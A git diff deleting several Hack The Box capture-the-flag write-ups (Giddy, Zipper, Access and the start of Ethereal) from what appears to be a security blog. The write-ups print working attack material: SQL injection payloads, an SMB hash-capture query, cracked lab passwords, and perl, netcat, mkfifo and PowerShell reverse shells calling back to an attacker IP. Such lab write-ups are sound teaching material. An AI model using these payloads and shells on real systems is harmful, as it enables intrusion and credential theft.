'--timeout=10') -[19:46:07] [INFO] testing if the target URL content is stable -[19:46:07] [WARNING] target URL content is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' -how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] -[19:46:08] [INFO] searching for dynamic content -[19:46:08] [INFO] dynamic content marked for removal (1 region) -[...] -GET parameter 'ProductSubCategoryId' is vulnerable. Do you want to keep testing the others (if any)? [y/N] -sqlmap identified the following injection point(s) with a total of 90 HTTP(s) requests: ---- -Parameter: ProductSubCategoryId (GET) - Type: boolean-based blind - Title: AND boolean-based blind - WHERE or HAVING clause - Payload: ProductSubCategoryId=1 AND 1298=1298 - - Type: error-based - Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN) - Payload: ProductSubCategoryId=1 AND 1726 IN (SELECT (CHAR(113)+CHAR(107)+CHAR(98)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (1726=1726) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(122)+CHAR(113)+CHAR(113))) - - Type: inline query - Title: Microsoft SQL Server/Sybase inline queries - Payload: ProductSubCategoryId=(SELECT CHAR(113)+CHAR(107)+CHAR(98)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (6760=6760) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(122)+CHAR(113)+CHAR(113)) - - Type: stacked queries - Title: Microsoft SQL Server/Sybase stacked queries (comment) - Payload: ProductSubCategoryId=1;WAITFOR DELAY '0:0:5'-- - - Type: AND/OR time-based blind - Title: Microsoft SQL Server/Sybase time-based blind (IF) - Payload: ProductSubCategoryId=1 WAITFOR DELAY '0:0:5' ---- -[19:46:37] [INFO] testing Microsoft SQL Server -[19:46:38] [INFO] confirming Microsoft SQL Server -[19:46:38] [INFO] the back-end DBMS is Microsoft SQL Server -web server operating system: Windows 10 or 2016 -web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 10.0 -back-end DBMS: Microsoft SQL Server 2016 -[19:46:38] [INFO] fetching database names -[19:46:38] [INFO] used SQL query returns 5 entries -[19:46:38] [INFO] retrieved: Injection -[19:46:38] [INFO] retrieved: master -[19:46:38] [INFO] retrieved: model -[19:46:38] [INFO] retrieved: msdb -[19:46:38] [INFO] retrieved: tempdb -available databases [5]: -[*] Injection -[*] master -[*] model -[*] msdb -[*] tempdb - -[19:46:38] [WARNING] HTTP error codes detected during run: -500 (Internal Server Error) - 67 times -[19:46:38] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.104' - -[*] shutting down at 19:46:38 -``` - -We found one of the local user: `Stacy` - -``` -[19:48:06] [INFO] fetching current user -[19:48:06] [INFO] retrieved: giddy\\stacy -current user: 'giddy\\stacy' -``` - -We can't pull the users from the database since the current user doesn't have sufficient privileges: - -``` -[19:47:25] [WARNING] unable to retrieve the number of password hashes for user 'BUILTIN\\Users' -[19:47:25] [INFO] fetching number of password hashes for user 'giddy\\stacy' -[19:47:25] [INFO] retrieved: -[19:47:25] [INFO] retrieved: -[19:47:26] [WARNING] unable to retrieve the number of password hashes for user 'giddy\\stacy' -[19:47:26] [INFO] fetching number of password hashes for user 'sa' -[19:47:26] [INFO] retrieved: -[19:47:26] [INFO] retrieved: -[19:47:26] [WARNING] unable to retrieve the number of password hashes for user 'sa' -[19:47:26] [ERROR] unable to retrieve the password hashes for the database users (probably because the DBMS current user has no read privileges over the relevant system database table(s)) -``` - -There's nothing else of interest in the database, no credentials or any other hint. - -### SMB hashes - -We have a username but no password for that account. However we can force the MSSQL server to connect back to use with SMB and then use responder to get the NTLMv2 hash. - -MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the `xp_dirtree` function to list the files in our SMB share and grab the NTLMv2 hash. - -Query: `GET /mvc/Product.aspx?ProductSubCategoryId=28;declare%20@q%20varchar(99);set%20@q=%27\\10.10.14.23\test%27;exec%20master.dbo.xp_dirtree%20@q HTTP/1.1` - -With responder.py we can grab the hash: - -``` -[SMB] NTLMv2-SSP Client : 10.10.10.104 -[SMB] NTLMv2-SSP Username : GIDDY\Stacy -[SMB] NTLMv2-SSP Hash : Stacy::GIDDY:1234567890123456:E5F6E4D55FD85E3C81554FD67088C8E2:0101000000000000CC831652C447D4014EC0AB8B8592622B0000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000003184F7110D23082928FF6CBBB72AEA07F35DCE741FC5B735D1B4780228A863AC0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320033000000000000000000 -[SMB] Requested Share : \\10.10.14.23\IPC$ -[SMB] NTLMv2-SSP Client : 10.10.10.104 -[SMB] NTLMv2-SSP Username : GIDDY\Stacy -[SMB] NTLMv2-SSP Hash : Stacy::GIDDY:1234567890123456:C8FDC762ECE363F3B36E180C809B690D:0101000000000000E8DABE52C447D401D0CB7EFDCD2687540000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000003184F7110D23082928FF6CBBB72AEA07F35DCE741FC5B735D1B4780228A863AC0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320033000000000000000000 -[SMB] Requested Share : \\10.10.14.23\TEST -``` - -Hash: `Stacy::GIDDY:1234567890123456:E5F6E4D55FD85E3C81554FD67088C8E2:0101000000000000CC831652C447D4014EC0AB8B8592622B0000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000003184F7110D23082928FF6CBBB72AEA07F35DCE741FC5B735D1B4780228A863AC0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320033000000000000000000` - -The hash is crackable with the standard rockyou.txt list and we recover the password: - -``` -root@darkisland:~/giddy# john --fork=4 -w=/usr/share/wordlists/rockyou.txt hash.txt -Using default input encoding: UTF-8 -Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) -Node numbers 1-4 of 4 (fork) -Press 'q' or Ctrl-C to abort, almost any other key for status -xNnWo6272k7x (Stacy) -``` - -Password: `xNnWo6272k7x` - -### Powershell web access - -We can now log in to the web powershell interface using: - -- Username: `giddy\stacy` -- Password: `xNnWo6272k7x` -- Computer: `giddy` - -![](/assets/images/htb-writeup-giddy/remote2.png) - -### Privesc - -The hint for the privesc is in the documents folder -> `unifivideo` - -![](/assets/images/htb-writeup-giddy/remote3.png) - -There's a local privilege escalation exploit with Ubiquiti UniFi Video 3.7.3. Basically, the privileges are not set correctly in the installation directory where the service is installed so any user can substitute the executable for the service with a malicious file and get RCE as SYSTEM. - -We confirm that the software is installed: - -![](/assets/images/htb-writeup-giddy/remote4.png) - -First, we create a simple exe that spawn a netcat connection back to us: - -```c -#include "stdafx.h" -#include "stdlib.h" - - -int main() -{ - system("nc.exe -e cmd.exe 10.10.14.23 4444"); - return 0; -} -``` - -To upload the .exe and netcat to the box, we can spawn an SMB server with Impacket: - -``` -root@darkisland:~/giddy# python /usr/share/doc/python-impacket/examples/smbserver.py test . -Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies - -[*] Config file parsed -[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 -[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 -[*] Config file parsed -[*] Config file parsed -[*] Config file parsed -``` - -![](/assets/images/htb-writeup-giddy/remote5.png) - -Then we copy the file to taskkill.exe as explained in the exploit description, then stop-start the service. - -![](/assets/images/htb-writeup-giddy/remote6.png) - -``` -root@darkisland:~/hackthebox/Machines/Giddy# nc -lvnp 4444 -listening on [any] 4444 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.104] 49805 -Microsoft Windows [Version 10.0.14393] -(c) 2016 Microsoft Corporation. All rights reserved. - -C:\ProgramData\unifi-video>whoami -whoami -nt authority\system - -C:\ProgramData\unifi-video>type c:\users\administrator\desktop\root.txt -type c:\users\administrator\desktop\root.txt -CF559C -C:\ProgramData\unifi-video> -``` - -### Alternate shell method - -Instead of using the Web Powershell interface, we can also log in with WinRM. To do that under Linux, I used [Alamot's](https://github.com/Alamot/code-snippets/tree/master/winrm) WinRM ruby script: - -```ruby -require 'winrm' - -# Author: Alamot - -conn = WinRM::Connection.new( - endpoint: 'http://10.10.10.104:5985/wsman', - #transport: :ssl, - user: 'stacy', - password: 'xNnWo6272k7x', - #:client_cert => 'certnew.cer', - #:client_key => 'privateKey.key', - #:no_ssl_peer_verification => true -) - -command="" - -conn.shell(:powershell) do |shell| - until command == "exit\n" do - output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')") - print(output.output.chomp) - command = gets - output = shell.run(command) do |stdout, stderr| - STDOUT.print stdout - STDERR.print stderr - end - end - puts "Exiting with code #{output.exitcode}" -end -``` - -``` -~/code-snippets/winrm# ruby giddy.rb -PS giddy\stacy@GIDDY Documents> whoami -giddy\stacy -``` \ No newline at end of file diff --git a/_posts/2019-02-23-htb-writeup-zipper.md b/_posts/2019-02-23-htb-writeup-zipper.md deleted file mode 100644 index 69d11f804c..0000000000 --- a/_posts/2019-02-23-htb-writeup-zipper.md +++ /dev/null @@ -1,357 +0,0 @@ ---- -layout: single -title: Zipper - Hack The Box -excerpt: This is the writeup for Zipper, a Linux box running the Zabbix network monitoring software inside a docker container. -date: 2019-02-23 -classes: wide -header: - teaser: /assets/images/htb-writeup-zipper/zipper_logo.png -categories: - - hackthebox - - infosec -tags: - - linux - - zabbix - - api - - suid ---- - -Zipper was a cool box that mixed some enumeration, API usage and a priv esc using a SUID binary. I had some problems at first getting into Zabbix when I found a possible username but didn't think of trying the same name as the password. The priv esc was pretty cool, I used ltrace to check which functions are called by the binary and I was able to understand what to do next without having to reverse the binary with IDA or R2. - -![](/assets/images/htb-writeup-zipper/zipper_logo.png) - -## Quick summary - -- There's a Zabbix server running and we can log in as guest and obtain the `zapper` username -- We can't log in as `zapper` on the GUI but we can issue API calls -- We can create a script (thru API calls) and get RCE as user `zabbix` within a container -- Then we find the zabbix DB credentials which can also be used to log in as user `admin` on Zabbix -- We can then create a perl reverse shell script and make it run on the zabbix agent (running on the host OS) -- The password for user `zapper` is found in the `backup.sh` script -- We can then `su` to user `zapper` and upload our ssh key and get the user flag -- The priv esc is a suid binary that executes the `systemctl daemon-reload` command -- We can hijack this command by creating our own systemctl file (with a reverse shell), then modify the path so the suid file executes our file instead of `/bin/systemctl` - -## Detailed steps - -### Nmap - -``` -root@ragingunicorn:~# nmap -sC -sV -p- 10.10.10.108 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-20 15:01 EDT -Nmap scan report for 10.10.10.108 -Host is up (0.021s latency). -Not shown: 65532 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA) -| 256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA) -|_ 256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519) -80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) -|_http-server-header: Apache/2.4.29 (Ubuntu) -|_http-title: Apache2 Ubuntu Default Page: It works -10050/tcp open tcpwrapped -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel -``` - -### Zabbix initial enumeration - -Port 10050 hints to a zabbix installation, since this is the port used by the zabbix agent: - -``` -root@ragingunicorn:~/hackthebox/Machines# nc -nv 10.10.10.108 10050 -(UNKNOWN) [10.10.10.108] 10050 (zabbix-agent) open -``` - -We found the zabbix installation under the `/zabbix` directory. - -The default credentials don't work but we can log in as guest. - -![](/assets/images/htb-writeup-zipper/zabbix.png) - -There's not much interesting except something about a `Zapper's Backup Script`: - -![](/assets/images/htb-writeup-zipper/zapper.png) - -### Making API calls with user zapper - -We can then log in to Zabbix as user `zapper` with password `zapper` (had to guess that part). However, GUI access is not allowed. - -![](/assets/images/htb-writeup-zipper/zabbix_nogui.png) - -Zabbix has a [REST API](https://www.zabbix.com/documentation/3.0/manual/api) so we can use this instead to issue commands to Zabbix. - -The attack steps are: - -1. Log in to API -2. Get list of Host IDs -3. Create a script with a simple reverse shell -4. Execute script (make sure to specify host ID) - -**Authentication** - -Body: - -![](/assets/images/htb-writeup-zipper/apiauth.png) - -Response: - -![](/assets/images/htb-writeup-zipper/apiauth_response.png) - -We got the following auth token which we'll re-use for other API calls: `e160aa247a18163cfabe3c5645c8500a` - -**Get list of Host IDs** - -Body: - -![](/assets/images/htb-writeup-zipper/apihost.png) - -Response: - -![](/assets/images/htb-writeup-zipper/apihost_response1.png) -![](/assets/images/htb-writeup-zipper/apihost_response2.png) - -**Create a script for RCE** - -Body: - -![](/assets/images/htb-writeup-zipper/apiscript.png) - -Response: - -![](/assets/images/htb-writeup-zipper/apiscript_response.png) - -**Execute script** - -Body: - -![](/assets/images/htb-writeup-zipper/apiexec.png) - -### First shell in the container - -We got a shell after executing the script from Zabbix: -``` -root@ragingunicorn:~# nc -lvnp 4444 -listening on [any] 4444 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.108] 54366 -/bin/sh: 0: can't access tty; job control turned off -$ id -uid=103(zabbix) gid=104(zabbix) groups=104(zabbix) -$ hostname -8e5a23a4dfec -$ -``` - -Based on the random hostname and the `.dockerenv` file in the root directory we can assume we're currently in a container: -``` -drwxr-xr-x 1 root root 4096 Oct 20 19:27 . -drwxr-xr-x 1 root root 4096 Oct 20 19:27 .. --rwxr-xr-x 1 root root 0 Oct 20 19:27 .dockerenv -``` - -There's not much on this container except the Zabbix configuration file: -``` -$ pwd -/etc/zabbix -$ ls -apache.conf -web -zabbix_server.conf -$ -``` - -We can find some credentials in there: -``` -$ egrep "DBUser|DBPassword" zabbix_server.conf -# For SQLite3 path to database file must be provided. DBUser and DBPassword are ignored. -### Option: DBUser -# DBUser= -DBUser=zabbix -### Option: DBPassword -DBPassword=f.YMeMd$pTbpY3-449 -$ -``` - -- Username: `zabbix` -- Password: `f.YMeMd$pTbpY3-449` - -### Getting a shell on the host OS - -We can log in to the Zabbix admin page with the `admin` username and `f.YMeMd$pTbpY3-449` password. - -![](/assets/images/htb-writeup-zipper/zabbix_admin.png) - -Under the Zabbix host, we can see that there are two hosts and one is running the Zabbix Agent. - -![](/assets/images/htb-writeup-zipper/zabbix_hosts.png) - -The agent is running on the host OS while the Zabbix server is running in a container so what we want to do is modify our existing script so its runs on the Zabbix Agent (therefore on the Host OS) instead of the server. - -![](/assets/images/htb-writeup-zipper/zabbix_script2.png) - -We can now get a shell on the Host OS but it's not stable and we lose the connection after a few seconds: -``` -root@ragingunicorn:~/htb/zipper# nc -lvnp 4444 -listening on [any] 4444 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.108] 55348 -/bin/sh: 0: can't access tty; job control turned off -$ hostname -zipper -$ id -uid=107(zabbix) gid=113(zabbix) groups=113(zabbix) -$ -``` - -After trying a few other shells, I found the perl shell works better and is more stable: -``` -perl -e 'use Socket;$i="10.10.14.23";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' -``` - -We now have a stable shell: -``` -root@ragingunicorn:~/htb/zipper# nc -lvnp 4444 -listening on [any] 4444 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.108] 46178 -/bin/sh: 0: can't access tty; job control turned off -$ w - 20:56:27 up 20 min, 0 users, load average: 0.02, 0.03, 0.04 -USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT -$ id -uid=107(zabbix) gid=113(zabbix) groups=113(zabbix) -$ hostname -zipper -$ python3 -c 'import pty;pty.spawn("/bin/bash")' -zabbix@zipper:/$ -``` - -We still can't read user.txt though: -``` -cat: user.txt: Permission denied -zabbix@zipper:/home/zapper$ -``` - -But we find a password inside the `backup.sh` script: -``` -zabbix@zipper:/home/zapper/utils$ ls -backup.sh zabbix-service -zabbix@zipper:/home/zapper/utils$ cat backup.sh -#!/bin/bash -# -# Quick script to backup all utilities in this folder to /backups -# -/usr/bin/7z a /backups/zapper_backup-$(/bin/date +%F).7z -pZippityDoDah /home/zapper/utils/* &>/dev/null -``` - -We can `su` to `zapper` using the `ZippityDoDah` password: -``` -echo $?zabbix@zipper:/home/zapper/utils$ su zapper -su zapper -Password: ZippityDoDah - - - Welcome to: -███████╗██╗██████╗ ██████╗ ███████╗██████╗ -╚══███╔╝██║██╔══██╗██╔══██╗██╔════╝██╔══██╗ - ███╔╝ ██║██████╔╝██████╔╝█████╗ ██████╔╝ - ███╔╝ ██║██╔═══╝ ██╔═══╝ ██╔══╝ ██╔══██╗ -███████╗██║██║ ██║ ███████╗██║ ██║ -╚══════╝╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ - -[0] Packages Need To Be Updated -[>] Backups: - - - -zapper@zipper:~/utils$ cd .. -cd .. -zapper@zipper:~$ cat user.txt -cat user.txt -aa29e9 -``` - -### Priv esc - -There's an interesting SUID file in the `utils` directory: `zabbix-service` -``` -zapper@zipper:~/utils$ ls -l -ls -l -total 12 --rwxr-xr-x 1 zapper zapper 194 Sep 8 13:12 backup.sh --rwsr-sr-x 1 root root 7556 Sep 8 13:05 zabbix-service -``` - -The file seems to control one of the zabbix service: -``` -zapper@zipper:~/utils$ ./zabbix-service -./zabbix-service -start or stop?: start -start -``` - -To see what it does, I used `ltrace` to check which functions are called: -``` -zapper@zipper:~/utils$ ltrace -s 256 ./zabbix-service -ltrace -s 256 ./zabbix-service -__libc_start_main(0x45d6ed, 1, 0xbfb57f54, 0x45d840 -setuid(0) = -1 -setgid(0) = -1 -printf("start or stop?: ") = 16 -fgets(start or stop?: start -start -"start\n", 10, 0xb7f345c0) = 0xbfb57e82 -strcspn("start\n", "\n") = 5 -strcmp("start", "start") = 0 -system("systemctl daemon-reload && systemctl start zabbix-agent"Failed to reload daemon: The name org.freedesktop.PolicyKit1 was not provided by any .service files - ---- SIGCHLD (Child exited) --- -<... system resumed> ) = 256 -+++ exited (status 0) +++ -``` - -Based on the `ltrace` output, we see that the program executes `systemctl daemon-reload && systemctl start zabbix-agent` as user root. - -Because the program doesn't execute systemctl using its full path, it is susceptible to hijacking by changing the PATH environment variable. - -We can write a simple bash script that spawns a reverse shell using a named pipe and name it `systemctl` -``` -zapper@zipper:~/utils$ cat systemctl -#!/bin/sh - -rm /tmp/f2;mkfifo /tmp/f2;/bin/cat /tmp/f2|/bin/sh -i 2>&1|/bin/nc 10.10.14.23 5555 >/tmp/f2 -zapper@zipper:~/utils$ chmod +x systemctl -chmod +x systemctl -``` - -**We need to use /bin/cat instead of just cat because we'll remove /bin from the PATH env variable** - -Next, we remove `/bin` from the PATH and add `/home/zapper/utils`: -``` -zapper@zipper:~/utils$ echo $PATH -echo $PATH -/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games -zapper@zipper:~/utils$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/home/zapper/utils - -# -``` \ No newline at end of file diff --git a/_posts/2019-03-02-htb-writeup-access.md b/_posts/2019-03-02-htb-writeup-access.md deleted file mode 100644 index 4bbe903f0f..0000000000 --- a/_posts/2019-03-02-htb-writeup-access.md +++ /dev/null @@ -1,298 +0,0 @@ ---- -layout: single -title: Access - Hack The Box -excerpt: This is the writeup for Access, a Windows machine involving some enumeration of an Access DB, an Outlook PST and a priv esc using Windows Credential Manager. -date: 2019-03-02 -classes: wide -header: - teaser: /assets/images/htb-writeup-access/access_logo.png -categories: - - hackthebox - - infosec -tags: - - telnet - - windows - - access - - outlook - - credential manager ---- - -Access was a quick and fun box where we had to look for credentials in an Access database then use the credentials to decrypt a PST file. Kali Linux has some tools that let us read those two file types without having to spin up a Windows VM. The box creator was kind enough to open up telnet so once we got the low privilege user credentials from the mailbox file we could log on and find the administrator credentials in the Windows Credential Manager. - -![](/assets/images/htb-writeup-access/access_logo.png) - -## Quick summary - -- There's an encrypted zip file on the FTP server along with a .mdb Access DB backup -- The password for the zip file is contained in the backup file -- The zip file contains a .PST file with another set of credentials in an email -- The credentials give access to Windows through the telnet service -- The Windows administrator credentials are stored in Windows Credentials Manager - -### Tools/Blogs used - -- mdbtools -- readpst - -## Detailed steps - -### Portscan - -Not many ports open for a Windows box. - -``` -root@darkisland:~# nmap -F 10.10.10.98 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-30 18:24 EDT -Nmap scan report for access.htb (10.10.10.98) -Host is up (0.018s latency). -Not shown: 97 filtered ports -PORT STATE SERVICE -21/tcp open ftp -23/tcp open telnet -80/tcp open http -``` - -#### FTP - -The FTP site allows anonymous access and there's two interesting files we can download: -- `backup.mdb` -- `Access Control.zip` - -``` -root@darkisland:~/hackthebox/Machines/Access# ftp 10.10.10.98 -Connected to 10.10.10.98. -220 Microsoft FTP Service -Name (10.10.10.98:root): anonymous -331 Anonymous access allowed, send identity (e-mail name) as password. -Password: -230 User logged in. -Remote system type is Windows_NT. -ftp> ls -200 PORT command successful. -125 Data connection already open; Transfer starting. -08-23-18 09:16PM Backups -08-24-18 10:00PM Engineer -226 Transfer complete. -ftp> cd Backups -250 CWD command successful. -ftp> ls -200 PORT command successful. -125 Data connection already open; Transfer starting. -08-23-18 09:16PM 5652480 backup.mdb -226 Transfer complete. -ftp> type binary -200 Type set to I. -ftp> get backup.mdb -local: backup.mdb remote: backup.mdb -200 PORT command successful. -125 Data connection already open; Transfer starting. -226 Transfer complete. -5652480 bytes received in 0.94 secs (5.7248 MB/s) -ftp> cd .. -250 CWD command successful. -ftp> cd Engineer -250 CWD command successful. -ftp> ls -200 PORT command successful. -125 Data connection already open; Transfer starting. -08-24-18 01:16AM 10870 Access Control.zip -226 Transfer complete. -ftp> get "Access Control.zip" -local: Access Control.zip remote: Access Control.zip -200 PORT command successful. -125 Data connection already open; Transfer starting. -226 Transfer complete. -10870 bytes received in 0.05 secs (200.3631 kB/s) -``` - -### Finding a password in the Access database - -We can use mdbtools to view the Access database file: - -``` -root@darkisland:~/hackthebox/Machines/Access# mdb-tables -1 backup.mdb | grep -i auth -auth_group_permissions -auth_message -auth_permission -auth_user -auth_user_groups -auth_user_user_permissions -auth_group -AUTHDEVICE -``` - -We can issue SQL queries with the `mdb-sql` tool and look for credentials in the `auth_user` table: - -``` -root@darkisland:~/hackthebox/Machines/Access# mdb-sql -p backup.mdb -1 => select * from auth_user -2 => go - -id username password Status last_login RoleID Remark -25 admin admin 1 08/23/18 21:11:47 26 -27 engineer access4u@security 1 08/23/18 21:13:36 26 -28 backup_admin admin 1 08/23/18 21:14:02 26 -3 Rows retrieved -``` - -Found the following credentials: - - `engineer` / `access4u@security` - -### Finding credentials in PST file - -Unzipping the encrypted zip file with password `access4u@security`: - -``` -root@darkisland:~/hackthebox/Machines/Access# 7z e access.zip - -7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 -p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-2600K CPU @ 3.40GHz (206A7),ASM,AES-NI) - -Scanning the drive for archives: -1 file, 10870 bytes (11 KiB) - -Extracting archive: access.zip --- -Path = access.zip -Type = zip -Physical Size = 10870 - - -Enter password (will not be echoed): -Everything is Ok - -Size: 271360 -Compressed: 10870 -``` - -We can read the PST file content with `readpst` and it'll create an mbox file: - -``` -root@darkisland:~/hackthebox/Machines/Access# readpst access.pst -Opening PST file and indexes... -Processing Folder "Deleted Items" - "Access Control" - 2 items done, 0 items skipped. - -root@darkisland:~/hackthebox/Machines/Access# ls -l -total 5820 --rw-r--r-- 1 root root 3112 Sep 30 18:36 'Access Control.mbox' -``` - -Looking in the mbox file we find an email with another set of credentials: - -``` -root@darkisland:~/hackthebox/Machines/Access# cat 'Access Control.mbox' -From "john@megacorp.com" Thu Aug 23 19:44:07 2018 -Status: RO -From: john@megacorp.com -Subject: MegaCorp Access Control System "security" account -To: 'security@accesscontrolsystems.com' -[...] -Hi there, - -The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is passed on to your engineers. - -Regards, - -John -``` - -Found the following credentials: - - `security` / `4Cc3ssC0ntr0ller` - -### Getting a shell - -Telnet is enabled on this box so we can use that last set of credentials and log in to the server: - -``` -root@darkisland:~/hackthebox/Machines/Access# telnet 10.10.10.98 -Trying 10.10.10.98... -Connected to 10.10.10.98. -Escape character is '^]'. -Welcome to Microsoft Telnet Service - -login: security -password: 4Cc3ssC0ntr0ller - -*=============================================================== -Microsoft Telnet Server. -*=============================================================== -C:\Users\security>type desktop\user.txt -ff1f3b -``` - -### Priv esc with Windows Credentials Manager - -Our `security` user doesn't have any useful privileges or group memberships. That telnet shell was pretty slow and buggy. I tried running PowerShell but I wasn't getting any output from the shell so instead I just spawned a reverse shell with Nishang: - -``` -C:\Users\security>powershell -command "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.23',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" -``` - -``` -listening on [any] 4444 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.98] 49159 - -PS C:\Users\security> whoami -access\security -PS C:\Users\security> -``` - -``` -PS C:\Users\security> vaultcmd /list -Currently loaded vaults: - Vault: security's Vault - Vault Guid:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28} - Location: C:\Users\security\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28 - Status: Unlocked - Visibility: Not hidden - - Vault: Windows Vault - Vault Guid:{77BC582B-F0A6-4E15-4E80-61736B6F3B29} - Location: C:\Users\security\AppData\Local\Microsoft\Vault - Status: Unlocked - Visibility: Not hidden -``` - -Administrator credentials saved in security user's vault: - -``` -PS C:\Users\security> vaultcmd /listcreds:"Windows Vault" -Credentials in vault: Windows Vault - -Credential schema: Windows Domain Password Credential -Resource: Domain:interactive=ACCESS\Administrator -Identity: ACCESS\Administrator -Property (schema element id,value): (100,3) -``` - -I tried using [https://github.com/peewpw/Invoke-WCMDump](Invoke-WCMDUmp) to retrieve the plaintext credentials but that tool only works for "Generic" type credentials. - -So instead I just transferred netcat to the machine and popped a shell this way: - -``` -PS C:\Users\security> certutil -urlcache -f http://10.10.14.23/nc.exe nc.exe -**** Online **** -CertUtil: -URLCache command completed successfully. -``` - -``` -echo c:\users\security\nc.exe -e cmd.exe 10.10.14.23 4444 > shell.bat -runas /user:administrator /savecred c:\users\security\shell.bat -``` - -``` -root@darkisland:~/hackthebox/Machines/Access# nc -lvnp 4444 -listening on [any] 4444 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.98] 49159 -Microsoft Windows [Version 6.1.7600] -Copyright (c) 2009 Microsoft Corporation. All rights reserved. - -C:\Windows\system32>whoami -whoami -access\administrator - -C:\Windows\system32>type c:\users\administrator\desktop\root.txt -type c:\users\administrator\desktop\root.txt -6e1586 -``` diff --git a/_posts/2019-03-09-htb-writeup-ethereal.md b/_posts/2019-03-09-htb-writeup-ethereal.md deleted file mode 100644 index 632b57ad1f..0000000000 --- a/_posts/2019-03-09-htb-writeup-ethereal.md +++ /dev/null @@ -1,681 +0,0 @@ ---- -layout: single -title: Ethereal - Hack The Box -excerpt: This is the writeup for Ethereal, a very difficult Windows machine that I solved using the unintented rotten potato method before the box was patched by the HTB staff. -date: 2019-03-09 -classes: wide -header: - teaser: /assets/images/htb-writeup-ethereal/ethereal_logo.png -categories: - - hackthebox - - infosec -tags: - - ms-dos - - dns exfiltration - - command injection - - rotten potato - - unintended - - efs ---- - -![](/assets/images/htb-writeup-ethereal/ethereal_logo.png) - -Ethereal was a really difficult box from [MinatoTW](https://www.secjuice.com/author/minatotw/) and [egre55](https://www.hackthebox.eu/home/users/profile/1190) that I solved using an unintended priv esc method with Rotten Potato. The box was patched soon after the release to block that priv esc route. The box had some trivial command injection in the Test Connection page but since pretty much everything was blocked outbound I had to use DNS exfiltration to get the output from my commands. Once I got SYSTEM access via Potato, I found `user.txt` and `root.txt` were encrypted and couldn't be read as `NT AUTHORITY\SYSTEM`. At that point, I've spent a lot of hours on this box and I just wanted to get the flags so I changed both users's password and RDP'ed in and was able to see the flags. - -## Quick summary - -- Find the MS-DOS password manager file FDISK.zip on the FTP server -- Run Dosbox, downloading missing dependies for pbox.exe, retrieve passwords after guessing the secret key -- Find the command injection vulnerability on the "Ping" page -- Use command injection vulnerability to scan open outbound ports, find TCP ports 73 and 136 -- Use certutil.exe to download nc.exe on the box, get a shell as user IIS -- Use certutil.exe to download Juicy Potato on the box, get a shell as SYSTEM -- Disable Windows Defender & Windows Firewall -- Change passwords for users `jorge` and `rupal`, then RDP into the box to get both `user.txt` and `root.txt` flags - -## Detailed steps - -### Portscan - 